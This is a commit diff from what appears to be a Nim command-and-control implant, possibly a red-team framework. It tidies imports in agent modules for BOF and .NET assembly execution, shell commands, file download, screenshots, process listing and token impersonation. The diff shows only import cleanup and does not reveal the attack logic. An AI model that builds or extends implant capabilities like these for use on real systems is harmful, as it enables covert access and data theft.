Removed warnings and unused imports.
This commit is contained in:
@@ -29,11 +29,11 @@ when not defined(agent):
|
||||
|
||||
when defined(agent):
|
||||
|
||||
import osproc, strutils, strformat
|
||||
import strformat
|
||||
import ../agent/core/coff
|
||||
import ../agent/utils/io
|
||||
import ../agent/protocol/result
|
||||
import ../common/[utils, serialize]
|
||||
import ../common/serialize
|
||||
|
||||
proc executeBof(ctx: AgentCtx, task: Task): TaskResult =
|
||||
try:
|
||||
|
||||
@@ -29,11 +29,11 @@ when not defined(agent):
|
||||
|
||||
when defined(agent):
|
||||
|
||||
import strutils, strformat
|
||||
import strformat
|
||||
import ../agent/core/clr
|
||||
import ../agent/utils/io
|
||||
import ../agent/protocol/result
|
||||
import ../common/[utils, serialize]
|
||||
import ../common/serialize
|
||||
|
||||
proc executeAssembly(ctx: AgentCtx, task: Task): TaskResult =
|
||||
try:
|
||||
|
||||
@@ -34,11 +34,10 @@ when not defined(agent):
|
||||
|
||||
when defined(agent):
|
||||
|
||||
import strutils, strformat
|
||||
import strutils
|
||||
import ../agent/utils/io
|
||||
import ../agent/core/exit
|
||||
import ../agent/protocol/result
|
||||
import ../common/[utils, serialize]
|
||||
|
||||
proc executeExit(ctx: AgentCtx, task: Task): TaskResult =
|
||||
try:
|
||||
|
||||
@@ -100,10 +100,9 @@ when not defined(agent):
|
||||
|
||||
when defined(agent):
|
||||
|
||||
import os, strutils, strformat, times, algorithm, winim
|
||||
import strutils, strformat, algorithm, winim
|
||||
import ../agent/utils/io
|
||||
import ../agent/protocol/result
|
||||
import ../common/utils
|
||||
|
||||
# Retrieve current working directory
|
||||
proc executePwd(ctx: AgentCtx, task: Task): TaskResult =
|
||||
@@ -173,7 +172,7 @@ when defined(agent):
|
||||
|
||||
# Prepare search pattern (target directory + \*)
|
||||
let searchPattern = targetDirectory & "\\*"
|
||||
let searchPatternW = newWString(searchPattern)
|
||||
let searchPatternW = +$searchPattern
|
||||
|
||||
var
|
||||
findData: WIN32_FIND_DATAW
|
||||
|
||||
@@ -40,10 +40,10 @@ when not defined(agent):
|
||||
|
||||
when defined(agent):
|
||||
|
||||
import os, std/paths, strutils, strformat
|
||||
import os, std/paths, strformat
|
||||
import ../agent/utils/io
|
||||
import ../agent/protocol/result
|
||||
import ../common/[utils, serialize]
|
||||
import ../common/serialize
|
||||
|
||||
proc executeDownload(ctx: AgentCtx, task: Task): TaskResult =
|
||||
try:
|
||||
@@ -60,9 +60,9 @@ when defined(agent):
|
||||
packer.addDataWithLengthPrefix(string.toBytes(filePath))
|
||||
packer.addDataWithLengthPrefix(string.toBytes(fileBytes))
|
||||
|
||||
let result = packer.pack()
|
||||
let data = packer.pack()
|
||||
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_BINARY, result)
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_BINARY, data)
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
@@ -28,11 +28,11 @@ when defined(agent):
|
||||
|
||||
import winim/lean
|
||||
import winim/inc/wingdi
|
||||
import strutils, strformat, times, pixie
|
||||
import strformat, times, pixie
|
||||
import stb_image/write as stbiw
|
||||
import ../agent/utils/io
|
||||
import ../agent/protocol/result
|
||||
import ../common/[utils, serialize]
|
||||
import ../common/serialize
|
||||
|
||||
proc bmpToJpeg(data: seq[byte], quality: int = 80): seq[byte] =
|
||||
let img: Image = decodeImage(Bytes.toString(data))
|
||||
|
||||
@@ -29,10 +29,9 @@ when not defined(agent):
|
||||
|
||||
when defined(agent):
|
||||
|
||||
import osproc, strutils, strformat
|
||||
import osproc, strformat
|
||||
import ../agent/utils/io
|
||||
import ../agent/protocol/result
|
||||
import ../common/utils
|
||||
|
||||
proc executeShell(ctx: AgentCtx, task: Task): TaskResult =
|
||||
try:
|
||||
|
||||
@@ -41,10 +41,9 @@ when not defined(agent):
|
||||
|
||||
when defined(agent):
|
||||
|
||||
import os, strutils, strformat
|
||||
import strutils, strformat
|
||||
import ../agent/utils/io
|
||||
import ../agent/protocol/result
|
||||
import ../common/utils
|
||||
|
||||
proc executeSleep(ctx: AgentCtx, task: Task): TaskResult =
|
||||
|
||||
|
||||
@@ -37,10 +37,9 @@ when not defined(agent):
|
||||
when defined(agent):
|
||||
|
||||
import winim
|
||||
import os, strutils, sequtils, strformat, tables, algorithm
|
||||
import os, strutils, strformat, tables, algorithm
|
||||
import ../agent/utils/io
|
||||
import ../agent/protocol/result
|
||||
import ../common/utils
|
||||
|
||||
# TODO: Add user context to process information
|
||||
type
|
||||
|
||||
@@ -91,7 +91,6 @@ when defined(agent):
|
||||
import ../agent/core/token
|
||||
import ../agent/utils/io
|
||||
import ../agent/protocol/result
|
||||
import ../common/utils
|
||||
|
||||
proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult =
|
||||
try:
|
||||
|
||||
Reference in New Issue
Block a user